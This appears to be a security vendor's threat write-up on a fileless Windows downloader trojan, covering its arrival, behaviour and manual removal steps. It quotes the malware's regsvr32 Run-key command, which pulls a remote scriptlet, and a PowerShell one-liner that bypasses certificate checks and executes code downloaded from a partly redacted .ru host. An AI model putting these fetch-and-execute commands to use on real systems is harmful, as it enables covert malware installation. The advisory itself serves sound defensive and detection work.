Analysis by: Michael Jay Villanueva
 ALIASES:

JS.Downloader (Symantec)

 THREAT SUBTYPE:

Fileless

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This malware is involved in the filelessly-installed backdoor malware attack discovered early August 2017. It is able to install a backdoor malware onto the systems it infects. The malware is also downloaded via an autostart registry entry. Users affected by this malware may find their systems exhibiting malicious routines.

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

File Size: 6,592 bytes
File Type: XML, Script
Memory Resident: No
Initial Samples Received Date: 13 Jul 2017
Payload: Connects to URLs/IPs, Downloads files, Executes files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be downloaded from the following remote sites:

  • http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml

This malware arrives via the following means:

  • The malware could arrive via autostart registry created by other malware:
    • HKEY_USERS\{SID}\Software\Microsoft\Windows\CurrentVersion\Run
      COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml scrobj.dll"

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • https://{BLOCKED}do.ru/p1

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

  • It uses the following Powershell to download and execute a malicious file:
    • %System%\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -noexit -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; iex ((New-Object System.Net.WebClient).DownloadString('https://{BLOCKED}ndo.ru/p1'));
  • The downloaded file will not be saved in the machine, thus, it will be executed directly upon successful download via powershell commands.
  • The downloaded file is detected as TROJ_PSINJECT.A, if downloaded manually by accessing the malicious URL above.

It does not exploit any vulnerability.

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 13.532.03
FIRST VSAPI PATTERN DATE: 14 Jul 2017
VSAPI OPR PATTERN File: 13.533.00
VSAPI OPR PATTERN Date: 15 Jul 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_USERS\{SID}\Software\Microsoft\Windows\CurrentVersion\Run
    • COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml scrobj.dll"

Step 5

Restart in normal mode and scan your computer with your Trend Micro product for files detected as JS_POWMET.DE. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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